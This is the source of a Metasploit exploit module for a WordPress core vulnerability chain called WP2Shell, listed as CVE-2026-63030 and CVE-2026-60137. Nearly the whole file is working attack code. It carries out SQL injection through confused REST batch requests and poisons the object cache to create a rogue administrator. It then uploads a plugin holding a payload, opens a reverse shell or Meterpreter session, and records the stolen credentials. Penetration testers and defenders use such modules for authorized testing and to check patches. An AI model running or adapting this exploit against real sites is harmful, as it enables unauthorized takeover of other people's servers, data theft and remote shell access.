modules/exploits/multi/http/wp_batch_desync_rce.rb - master - githubmirror/metasploit-framework

modules/exploits/multi/http/wp_batch_desync_rce.rb
812 строк30 KB
Jonah Burgess
use CamelCase advanced options and honor AutoCheck overrides, randomize forged metadata and use framework HTTP defaults, link credentials and vulnerabilities to the WordPress service, tighten nonce parsing and refresh module documentation
06 авг 2026, 14:35
06 авг 2026, 14:35c77c410
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# WP2Shell unauthenticated WordPress core SQLi-to-RCE exploit module.
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  # Raised when a batch/SQLi response cannot be delivered or decoded.
  class WordPressBatchDesyncError < RuntimeError; end

  include Msf::Payload::Php
  include Msf::Auxiliary::Report
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HTTP::Wordpress::SQLi

  prepend Msf::Exploit::Remote::AutoCheck

  # Static timestamp used for every forged wp_posts row.
  POST_DATE = '2020-01-01 00:00:00'
  # High base value for the transient (non-cached) loop-partner post IDs.
  FAKE_ID_BASE = 1_800_000_000
  # oEmbed shortcode dimensions; must match EMBED_ATTRS_SERIALIZED below.
  EMBED_WIDTH = '500'
  EMBED_HEIGHT = '750'
  # PHP-serialized {width:500,height:750}, part of the oembed_cache post_name hash.
  EMBED_ATTRS_SERIALIZED = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'

  def initialize(info = {})
    wp_username = "wp_svc_#{Faker::Internet.username(specifier: 5..8).gsub(/[^a-zA-Z0-9]/, '').downcase}"

    super(
      update_info(
        info,
        'Name' => 'WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE',
        'AKA' => ['WP2Shell'],
        'Description' => %q{
          This module chains two WordPress core vulnerabilities, together known as
          WP2Shell, to gain unauthenticated remote code execution against default
          installs of WordPress 6.9.0-6.9.4 and 7.0.0-7.0.1.
          The vulnerabilities are fixed in WordPress 6.9.5 and 7.0.2.

          CVE-2026-60137 is an SQL injection in WP_Query's author__not_in parameter, and
          CVE-2026-63030 is a REST API batch endpoint route-confusion bug that lets an
          unauthenticated request reach that injection.

          The module uses the injection to read the database table prefix and the
          administrator user ID, poisons WordPress' object cache to publish a crafted
          customizer changeset, and re-enters the REST API with administrator privileges
          to create a new administrator account. It then logs in as that account, uploads
          a plugin containing a Metasploit payload, and executes it for a session. Once a
          session is obtained the uploaded plugin is removed, and the created administrator
          account is removed as well unless KeepAdmin is set.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Adam Kues', # CVE-2026-63030 discovery (Assetnote / Searchlight Cyber, aka hashkitten)
          'TF1T',      # CVE-2026-60137 discovery
          'dtro',      # CVE-2026-60137 discovery
          'haongo',    # CVE-2026-60137 discovery
          'Crypto-Cat' # Metasploit module
        ],
        'References' => [
          ['CVE', '2026-63030'],
          ['CVE', '2026-60137'],
          ['URL', 'https://wordpress.org/news/2026/07/wordpress-7-0-2-release/'],
          ['URL', 'https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/'],
          ['URL', 'https://github.com/Crypto-Cat/wp2shell'],
          ['URL', 'https://wp2shell.com/']
        ],
        'DisclosureDate' => '2026-07-17',
        'Privileged' => false,
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter_reverse_tcp',
                'EXTENSIONS' => 'stdapi'
              }
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('WP_USER', [true, 'Username for the administrator account to create', wp_username]),
        OptString.new('WP_PASS', [true, 'Password for the administrator account to create', Faker::Internet.password(min_length: 20, max_length: 24)]),
        OptString.new('WP_EMAIL', [true, 'Email for the administrator account to create', Faker::Internet.email(name: wp_username)])
      ]
    )

    register_advanced_options(
      [
        OptString.new('TablePrefix', [false, 'WordPress DB table prefix (auto-discovered when blank)', '']),
        OptInt.new('WpAdminId', [false, 'Existing administrator user ID used for changeset ownership (auto-discovered when 0)', 0]),
        OptBool.new('KeepAdmin', [false, 'Keep the administrator account created during exploitation (by default it is removed once a session is obtained)', false])
      ]
    )
  end

  def check
    @batch_endpoint = nil
    @union_marker = nil
    @wordpress_service = nil

    return CheckCode::Unknown('Target is not online or not running WordPress') unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("WordPress version: #{wp_version}") if wp_version

    if wp_version && !version_in_range?(wp_version)
      return CheckCode::Safe("WordPress #{wp_version} is outside the vulnerable range (6.9.0-6.9.4, 7.0.0-7.0.1)")
    end

    negotiate_batch_endpoint
    return CheckCode::Unknown('REST API batch endpoint did not respond as expected') if @batch_endpoint.nil?

    @wordpress_service ||= report_wordpress_service

    # In-band UNION extraction is what the RCE chain relies on (the forged cache
    # rows must survive as one query), so confirming it is what earns Vulnerable.
    create_sqli_instance
    begin
      if @sqli.test_vulnerable
        return CheckCode::Vulnerable(
          'Confirmed batch route-confusion SQL injection (in-band UNION)',
          vuln: { service: @wordpress_service }
        )
      end
    rescue WordPressBatchDesyncError => e
      vprint_error(e.message)
    end

    # A boolean oracle proves the injection (CVE-2026-60137), but this RCE module
    # is not exploitable unless the forged UNION rows survive into the cache.
    # Safe prevents AutoCheck from proceeding with a chain known not to work;
    # users can still override it with ForceExploit.
    if boolean_oracle_vulnerable?
      return CheckCode::Safe('SQL injection confirmed via boolean-blind oracle, but in-band UNION rows do not survive; the WP2Shell RCE chain is not exploitable (persistent object cache?)')
    end

    if wp_version
      CheckCode::Appears("WordPress #{wp_version} is in the vulnerable range but injection could not be confirmed")
    else
      CheckCode::Detected('REST API batch endpoint is present but injection could not be confirmed')
    end
  end

  def exploit
    unless datastore['AutoCheck']
      @batch_endpoint = nil
      @union_marker = nil
      @wordpress_service = nil
    end
    @created_admin = false
    @admin_cleanup = nil

    negotiate_batch_endpoint
    fail_with(Failure::NotFound, 'REST API batch endpoint is not available') if @batch_endpoint.nil?
    @wordpress_service ||= report_wordpress_service

    create_sqli_instance
    begin
      prefix = discover_prefix
      admin_id = discover_admin_id(prefix)
      ensure_admin_username_available!(prefix)

      embed_url = find_embed_url
      fail_with(Failure::NoTarget, 'No published post or page found; the target needs at least one for oEmbed') if embed_url.nil?
      print_status("Using oEmbed trigger post: #{embed_url}")

      token = Rex::Text.rand_text_hex(6)

      print_status('Seeding oEmbed cache posts...')
      seed_oembed(embed_url, token)

      cache_ids = extract_cache_ids(embed_url, token, prefix)
      fail_with(Failure::UnexpectedReply, 'Could not locate the seeded oembed_cache posts (persistent object cache?)') if cache_ids.nil?
      print_good("oEmbed cache post IDs: #{cache_ids.join(', ')}")

      print_status("Triggering escalation chain to create administrator '#{datastore['WP_USER']}'...")
      unless escalate(cache_ids, embed_url, token, admin_id)
        fail_with(Failure::NoAccess, 'Privilege escalation / user creation failed')
      end
      @created_admin = true
      print_good('Administrator account created via changeset re-entry')
    rescue WordPressBatchDesyncError => e
      fail_with(Failure::UnexpectedReply, e.message)
    end

    cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
    fail_with(Failure::NoAccess, 'Login as the created administrator failed') if cookie.nil?
    @admin_cleanup = { cookie: cookie, prefix: prefix, admin_id: admin_id }
    report_admin
    print_good("Authenticated as the created administrator '#{datastore['WP_USER']}'")

    upload_and_execute_payload(cookie)
  end

  def on_new_session(session)
    super

    return unless @created_admin && @admin_cleanup

    @created_admin = false if remove_created_admin(**@admin_cleanup)
  end

  def cleanup
    return unless @created_admin && @admin_cleanup

    @created_admin = false if remove_created_admin(**@admin_cleanup)
  ensure
    super
  end

  # Builds the in-band SQLi object. The query proc receives a complete SELECT
  # statement from the engine, wraps it as a scalar subquery inside a forged
  # wp_posts row's title, delivers it through the batch desync, and returns the
  # decoded result.
  def create_sqli_instance
    @sqli = create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |query|
      union_extract(query)
    end
  end

  def union_extract(query)
    title_expr = "concat(0x#{union_marker.unpack1('H*')},hex(cast((#{query}) as char)))"
    decode_union(union_inject(forge_scalar_row(title_expr)))
  end

  def discover_prefix
    configured = datastore['TablePrefix'].to_s
    unless configured.empty?
      fail_with(Failure::BadConfig, 'TablePrefix may only contain letters, numbers, and underscores') unless configured.match?(/\A[A-Za-z0-9_]+\z/)

      return configured
    end

    prefix = wordpress_sqli_identify_table_prefix
    fail_with(Failure::NotFound, 'Could not discover the WordPress database table prefix') if prefix.nil? || prefix.empty?

    print_good("Discovered table prefix: #{prefix}")
    prefix
  end

  def discover_admin_id(prefix)
    configured = datastore['WpAdminId'].to_i
    return configured if configured > 0

    result = @sqli.run_sql(
      "select u.ID from #{prefix}users u " \
      "inner join #{prefix}usermeta m on u.ID=m.user_id " \
      "where m.meta_key='#{prefix}capabilities' " \
      "and m.meta_value like '%administrator%' order by u.ID limit 1"
    )
    admin_id = positive_integer(result)
    if admin_id
      print_good("Discovered administrator user ID: #{admin_id}")
      return admin_id
    end
    fail_with(Failure::NotFound, 'Could not discover an existing WordPress administrator user ID')
  end

  def ensure_admin_username_available!(prefix)
    user_count = integer(
      @sqli.run_sql("select count(1) from #{prefix}users where user_login=#{sql_hex(datastore['WP_USER'])}")
    )
    fail_with(Failure::UnexpectedReply, 'Could not determine whether WP_USER already exists') if user_count.nil? || user_count.negative?
    return if user_count.zero?

    fail_with(Failure::BadConfig, "WP_USER '#{datastore['WP_USER']}' already exists; choose a unique username to prevent deleting a pre-existing account")
  end

  # Delivers a forged post whose content holds four [embed] shortcodes. When the
  # posts controller renders it, WordPress resolves each embed locally and writes
  # an oembed_cache post we can later address by its deterministic post_name.
  def seed_oembed(embed_url, token)
    urls = (0..3).map { |i| "#{embed_url}##{token}#{i}" }
    content = urls.map { |u| embed_shortcode(u) }.join
    union_inject(sql_post_row(0, content: content))
  end

  def extract_cache_ids(embed_url, token, prefix)
    ids = []
    (0..3).each do |i|
      key = oembed_cache_key("#{embed_url}##{token}#{i}")
      value = @sqli.run_sql(
        "select ID from #{prefix}posts " \
        "where post_type='oembed_cache' and post_name='#{key}' limit 1"
      )
      pid = positive_integer(value)
      return nil if pid.nil?

      ids << pid
    end
    ids
  end

  def escalate(cache_ids, embed_url, token, admin_id)
    graph = build_poison_graph(cache_ids, admin_id)
    changeset_json = build_changeset(graph)
    rows = build_poison_rows(graph, changeset_json, "#{embed_url}##{token}1")

    user_body = {
      'username' => datastore['WP_USER'],
      'password' => datastore['WP_PASS'],
      'email' => datastore['WP_EMAIL'],
      'roles' => ['administrator']
    }

    # This request performs multiple nested REST callbacks, so allow the full
    # escalation graph enough time to complete before checking the login.
    res = union_inject(
      rows,
      tail_requests: [{ 'method' => 'POST', 'path' => '/wp/v2/users', 'body' => user_body }],
      timeout: 60
    )
    return true if user_creation_confirmed?(res)

    # The die() inside the re-entry can abort the batch response before the 201
    # is serialised, so fall back to confirming via a login attempt.
    !wordpress_login(datastore['WP_USER'], datastore['WP_PASS']).nil?
  end

  # Assigns the four cached post IDs and two transient IDs to their roles in the
  # two hierarchy loops. cache_ids order: [changeset, oembed, navitem, reentry].
  def build_poison_graph(cache_ids, admin_id)
    base = FAKE_ID_BASE + rand(100_000_000)
    {
      changeset_id: cache_ids[0],
      oembed_id: cache_ids[1],
      navitem_id: cache_ids[2],
      reentry_id: cache_ids[3],
      outer_id: base,
      inner_id: base + 1,
      admin_id: admin_id
    }
  end

  # The customizer changeset JSON stored in the forged changeset post_content.
  # A positive nav_menu_item id drives the UPDATE path whose hierarchy check
  # detects the second loop and fires the parse_request re-entry.
  def build_changeset(graph)
    {
      "nav_menu_item[#{graph[:navitem_id]}]" => {
        'value' => {
          'object_id' => graph[:inner_id],
          'object' => 'post',
          'menu_item_parent' => 0,
          'position' => 1,
          'type' => 'post_type',
          'title' => '',
          'url' => '',
          'description' => '',
          'attr_title' => '',
          'target' => '',
          'classes' => '',
          'xfn' => '',
          'status' => 'publish',
          'nav_menu_term_id' => 0,
          '_invalid' => false
        },
        'type' => 'nav_menu_item',
        'user_id' => graph[:admin_id]
      }
    }.to_json
  end

  # The seven forged wp_posts rows that poison the object cache.
  def build_poison_rows(graph, changeset_json, embed_url)
    # Anti-recursion guard: only the first read returns the real oembed id, so
    # the chain fires exactly once instead of looping on re-entry.
    oembed_id_expr = "IF((@_wp2s:=IFNULL(@_wp2s,0)+1)=1,#{graph[:oembed_id]},2000000000)"

    rows = [
      # Trigger: [embed] shortcode content, rendered by the_content.
      sql_post_row(0, content: embed_shortcode(embed_url)),
      # Changeset: future+past date auto-publishes -> privilege escalation.
      sql_post_row(graph[:changeset_id], content: changeset_json, status: 'future',
                                         slug: SecureRandom.uuid, parent: graph[:outer_id], post_type: 'customize_changeset'),
      # Outer loop partner (parent=changeset) creates loop 1.
      sql_post_row(graph[:outer_id], status: 'draft', parent: graph[:changeset_id]),
      # oEmbed target: empty content -> cache fallthrough -> wp_update_post.
      sql_post_row(oembed_id_expr, parent: graph[:changeset_id]),
      # Nav menu item: poisoned type so is_nav_menu_item() enters the UPDATE path.
      sql_post_row(graph[:navitem_id], post_type: 'nav_menu_item'),
      # Re-entry post: type=request + status=parse fires the parse_request hook.
      sql_post_row(graph[:reentry_id], status: 'parse',
                                       parent: graph[:inner_id], post_type: 'request'),
      # Inner loop partner (parent=reentry) creates loop 2.
      sql_post_row(graph[:inner_id], status: 'draft', parent: graph[:reentry_id])
    ]
    rows.join(' UNION ALL ')
  end

  def user_creation_confirmed?(res)
    nested_batch_responses(res).any? { |response| response.is_a?(Hash) && response['status'] == 201 }
  rescue WordPressBatchDesyncError => e
    vprint_error(e.message)
    false
  end

  def upload_and_execute_payload(cookie)
    plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(6).downcase}"
    payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(6).downcase}"
    zip = generate_plugin(plugin_name, payload_name)

    print_status('Uploading plugin containing the payload...')
    fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless wordpress_upload_plugin(plugin_name, zip.pack, cookie)

    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")

    print_status("Executing payload at #{payload_uri}...")
    # Fire-and-forget: the request that triggers the payload will block until the
    # session is set up, so use a short timeout rather than waiting on the body.
    send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
  end

  # The WordPress mixin calls this as soon as it confirms the application. Keep
  # the application service distinct from its HTTP and transport layers so all
  # subsequently reported data can be linked to the same service record.
  def report_wordpress_service
    common = { host: rhost, port: rport, proto: 'tcp' }
    transport = common.merge(name: 'tcp', parents: nil)
    transport = common.merge(name: 'ssl', parents: transport) if ssl

    @wordpress_service = report_service(
      common.merge(
        name: 'WordPress',
        resource: { uri: normalize_uri(target_uri.path) },
        parents: common.merge(name: ssl ? 'https' : 'http', parents: transport)
      )
    )
  end

  # AutoCheck reports the vulnerability after #check returns. Associate that
  # report with the application service instead of the first same-port parent.
  def report_vuln(opts = {})
    super(opts.merge(service: opts[:service] || @wordpress_service))
  end

  def report_admin
    print_good("Administrator credentials: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")

    credential_data = {
      workspace_id: myworkspace_id,
      origin_type: :service,
      module_fullname: fullname,
      username: datastore['WP_USER'],
      private_type: :password,
      private_data: datastore['WP_PASS'],
      service_name: 'WordPress',
      address: rhost,
      port: rport,
      protocol: 'tcp',
      access_level: 'administrator',
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      last_attempted_at: Time.now
    }
    credential_data[:service_id] = @wordpress_service.id if @wordpress_service
    create_credential_and_login(credential_data)

    store_loot(
      'wordpress.admin.created',
      'text/plain',
      datastore['RHOST'],
      "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n",
      'wp_admin_credentials.txt',
      'WordPress Created Admin Credentials',
      @wordpress_service
    )

    report_vuln(
      host: datastore['RHOST'],
      port: datastore['RPORT'],
      proto: 'tcp',
      service: @wordpress_service,
      name: name,
      refs: references,
      info: 'Unauthenticated admin creation via REST batch route-confusion chain'
    )
  end

  # Removes the administrator account created during exploitation. The session
  # runs as the web-server user and is independent of this account, so deleting
  # it removes the loudest artifact of the chain without affecting the session.
  def remove_created_admin(cookie:, prefix:, admin_id:)
    if datastore['KeepAdmin']
      print_warning("KeepAdmin is set; the administrator account '#{datastore['WP_USER']}' remains on the target.")
      return true
    end

    user_id = positive_integer(
      @sqli.run_sql("select ID from #{prefix}users where user_login=#{sql_hex(datastore['WP_USER'])} limit 1")
    )
    nonce = wordpress_rest_nonce(cookie)
    if user_id.nil? || nonce.nil?
      print_warning("Could not prepare cleanup of '#{datastore['WP_USER']}'; remove the account manually.")
      return false
    end

    res = rest_request(
      'DELETE', "/wp/v2/users/#{user_id}",
      'cookie' => cookie,
      'headers' => { 'X-WP-Nonce' => nonce },
      'vars_get' => { 'force' => 'true', 'reassign' => admin_id.to_s }
    )
    if res && res.code == 200
      print_good("Removed the created administrator account '#{datastore['WP_USER']}'")
      true
    else
      print_warning("Failed to remove '#{datastore['WP_USER']}' (HTTP #{res&.code || 'no response'}); remove the account manually.")
      false
    end
  rescue WordPressBatchDesyncError => e
    print_warning("Cleanup of '#{datastore['WP_USER']}' failed (#{e.message}); remove the account manually.")
    false
  end

  # Scrapes the wp_rest nonce that wp-admin embeds for authenticated REST calls.
  def wordpress_rest_nonce(cookie)
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(wordpress_url_backend, 'profile.php'), 'cookie' => cookie)
    return nil unless res && res.code == 200

    script_content = res.get_html_document.css('script').map(&:text).join("\n")
    script_content[/wpApiSettings\s*=\s*\{[^}]*?"nonce"\s*:\s*"([a-f0-9]+)"/m, 1] ||
      script_content[/createNonceMiddleware\(\s*["']([a-f0-9]+)["']\s*\)/, 1]
  end

  # Issues a REST request using whichever endpoint style the batch probe found
  # (pretty permalinks vs the ?rest_route= fallback).
  def rest_request(method, route, opts = {})
    if @batch_endpoint && @batch_endpoint['vars_get']
      vars_get = (opts['vars_get'] || {}).merge('rest_route' => route)
      send_request_cgi(opts.merge('method' => method, 'uri' => normalize_uri(target_uri.path), 'vars_get' => vars_get))
    else
      segments = route.split('/').reject(&:empty?)
      send_request_cgi(opts.merge('method' => method, 'uri' => normalize_uri(target_uri.path, 'wp-json', *segments)))
    end
  end

  # Determines whether the batch endpoint is reachable via pretty permalinks
  # (/wp-json/batch/v1) or the ?rest_route= fallback, and caches the request
  # parameters used for every subsequent batch call.
  def negotiate_batch_endpoint
    return @batch_endpoint unless @batch_endpoint.nil?

    pretty = { 'uri' => normalize_uri(target_uri.path, 'wp-json', 'batch', 'v1') }
    if batch_response?(send_request_cgi(pretty.merge('method' => 'POST', 'ctype' => 'application/json', 'data' => '{"requests":[]}')))
      vprint_status('Batch endpoint: /wp-json/batch/v1 (pretty permalinks)')
      return @batch_endpoint = pretty
    end

    fallback = { 'uri' => normalize_uri(target_uri.path), 'vars_get' => { 'rest_route' => '/batch/v1' } }
    if batch_response?(send_request_cgi(fallback.merge('method' => 'POST', 'ctype' => 'application/json', 'data' => '{"requests":[]}')))
      vprint_status('Batch endpoint: /?rest_route=/batch/v1 (fallback)')
      return @batch_endpoint = fallback
    end

    nil
  end

  # Accept a valid batch envelope even if a proxy/WAF rewrites the usual HTTP 207
  # status code.
  def batch_response?(res)
    return false unless res

    doc = res.get_json_document
    doc.is_a?(Hash) && doc['responses'].is_a?(Array)
  end

  def send_batch(payload, timeout = nil)
    negotiate_batch_endpoint
    raise WordPressBatchDesyncError, 'REST API batch endpoint is not available' if @batch_endpoint.nil?

    request = @batch_endpoint.merge(
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => payload.to_json
    )
    res = if timeout.nil?
            send_request_cgi(request)
          else
            send_request_cgi(request, timeout)
          end
    raise WordPressBatchDesyncError, 'No response from the batch endpoint' if res.nil?

    res
  end

  # Boolean oracle: the injected condition decides whether the inner users query
  # returns a row, which we observe through the doubly-nested batch response.
  def blind_inject(condition, timeout: nil)
    send_batch(blind_payload("0) AND (#{condition})-- -"), timeout)
  end

  # UNION injection through the widgets->posts cross-schema desync. per_page=500
  # disables split_the_query so the forged rows survive into the result set.
  def union_inject(rows, tail_requests: nil, timeout: nil)
    sqli = "0) AND 1=0 UNION ALL #{rows}#{"\n-- " * 6}"
    send_batch(union_payload(sqli, tail_requests), timeout)
  end

  def blind_payload(sqli)
    inner = {
      'requests' => [
        desync_primer,
        { 'method' => 'GET', 'path' => "/wp/v2/users?author_exclude=#{uri_encode(sqli)}" },
        { 'method' => 'GET', 'path' => '/wp/v2/posts' },
        { 'method' => 'GET', 'path' => '/wp/v2/categories' }
      ]
    }
    outer_batch(inner)
  end

  def union_payload(sqli, tail_requests)
    inner = [
      desync_primer,
      { 'method' => 'GET', 'path' => "/wp/v2/widgets?author_exclude=#{uri_encode(sqli)}&per_page=500&orderby=none" },
      { 'method' => 'GET', 'path' => '/wp/v2/posts' },
      { 'method' => 'GET', 'path' => '/wp/v2/categories' }
    ]
    if tail_requests
      inner.concat(tail_requests)
      inner << { 'method' => 'POST', 'path' => '/wp/v2/users', 'body' => {} }
    end
    outer_batch({ 'requests' => inner })
  end

  # Wraps an inner batch so the outer desync dispatches it through the posts
  # handler, which re-parses the body as a nested batch.
  def outer_batch(inner)
    {
      'requests' => [
        desync_primer,
        { 'method' => 'POST', 'path' => '/wp/v2/posts', 'body' => inner },
        { 'method' => 'POST', 'path' => '/batch/v1', 'body' => { 'requests' => [] } }
      ]
    }
  end

  def desync_primer
    { 'method' => 'POST', 'path' => '///' }
  end

  def decode_union(res)
    body = res&.body.to_s
    idx = body.index(union_marker)
    return nil if idx.nil?

    hex = body[(idx + union_marker.length)..][/\A\h*/]
    return '' if hex.nil? || hex.empty?
    return nil if hex.length.odd?

    [hex].pack('H*').force_encoding('UTF-8').scrub
  end

  def boolean_oracle_vulnerable?
    oracle('1=1') && !oracle('1=2')
  rescue WordPressBatchDesyncError => e
    vprint_error(e.message)
    false
  end

  def oracle(condition)
    responses = nested_batch_responses(blind_inject(condition))
    response = responses[1]
    return false unless response.is_a?(Hash)

    body = response['body']
    body.is_a?(Array) && !body.empty?
  end

  def version_in_range?(version)
    v = Rex::Version.new(version)
    v.between?(Rex::Version.new('6.9.0'), Rex::Version.new('6.9.4')) ||
      v.between?(Rex::Version.new('7.0.0'), Rex::Version.new('7.0.1'))
  end

  def nested_batch_responses(res)
    raise WordPressBatchDesyncError, 'No batch response received' if res.nil?

    outer_responses = batch_responses(res.get_json_document, 'outer')
    nested_response = outer_responses[1]
    unless nested_response.is_a?(Hash) && nested_response['body'].is_a?(Hash)
      raise WordPressBatchDesyncError, 'Malformed outer batch response envelope'
    end

    batch_responses(nested_response['body'], 'inner')
  end

  def batch_responses(doc, level)
    responses = doc.is_a?(Hash) ? doc['responses'] : nil
    return responses if responses.is_a?(Array)

    raise WordPressBatchDesyncError, "Malformed #{level} batch response envelope"
  end

  def positive_integer(value)
    parsed = integer(value)
    parsed if parsed&.positive?
  end

  def integer(value)
    Integer(value.to_s, 10, exception: false)
  end

  # Random marker rendered into the forged post_title so UNION output can be recovered
  # from the response body regardless of JSON/HTML encoding around it.
  def union_marker
    @union_marker ||= Rex::Text.rand_text_hex(16)
  end

  def embed_shortcode(url)
    "[embed width=\"#{EMBED_WIDTH}\" height=\"#{EMBED_HEIGHT}\"]#{url}[/embed]"
  end

  # post_name of the oembed_cache entry WordPress writes for a given embed URL.
  def oembed_cache_key(url)
    Rex::Text.md5(url + EMBED_ATTRS_SERIALIZED)
  end

  # Percent-encodes every byte outside the RFC 3986 unreserved set, including
  # newlines and slashes. Rex::Text.uri_encode('hex-all') leaves 0x0A intact,
  # and a raw newline in the sub-request path breaks WordPress' query parsing.
  def uri_encode(str)
    str.b.gsub(/[^A-Za-z0-9_.\-~]/) { |c| format('%%%02X', c.ord) }
  end

  def sql_hex(str)
    return "''" if str.nil? || str.empty?

    '0x' + str.unpack1('H*')
  end

  # Emits one SELECT clause matching the wp_posts schema. row_id may be an integer
  # or a raw SQL expression (used for the dynamic oEmbed id). Recognised opts:
  # :content, :title, :status, :slug, :parent, :post_type, :author.
  def sql_post_row(row_id, opts = {})
    content = opts[:content].to_s
    title = opts[:title] || Rex::Text.rand_text_hex(8)
    status = opts[:status] || 'publish'
    slug = opts[:slug] || "r#{Rex::Text.rand_text_hex(3)}"
    parent = opts[:parent] || 0
    post_type = opts[:post_type] || 'post'
    author = opts[:author] || 1
    columns = [
      row_id.to_s, author.to_s, "'#{POST_DATE}'", "'#{POST_DATE}'",
      sql_hex(content), sql_hex(title), "''", sql_hex(status),
      "'closed'", "'closed'", "''", sql_hex(slug), "''", "''",
      "'#{POST_DATE}'", "'#{POST_DATE}'", "''", parent.to_s, "''",
      '0', sql_hex(post_type), "''", '0'
    ]
    'SELECT ' + columns.join(',')
  end

  # A single forged wp_posts row whose title carries the UNION-extracted value.
  def forge_scalar_row(title_expr)
    columns = [
      '99999999', '1', "'#{POST_DATE}'", "'#{POST_DATE}'", "''",
      title_expr, "''", "'publish'", "'closed'", "'closed'", "''",
      sql_hex("u#{Rex::Text.rand_text_hex(4)}"), "''", "''",
      "'#{POST_DATE}'", "'#{POST_DATE}'", "''", '0', "''", '0',
      "'post'", "''", '0'
    ]
    'SELECT ' + columns.join(',')
  end

  # Locates a published post or page whose canonical URL can drive local oEmbed
  # resolution. Tries posts first, then falls back to pages (WordPress always
  # creates a "Sample Page" on install).
  def find_embed_url
    %w[posts pages].each do |type|
      res = rest_request(
        'GET', "/wp/v2/#{type}",
        'vars_get' => { 'per_page' => '1', '_fields' => 'link' }
      )
      next unless res && res.code == 200

      doc = res.get_json_document
      return doc[0]['link'] if doc.is_a?(Array) && doc[0].is_a?(Hash) && doc[0]['link']
    end

    nil
  end
end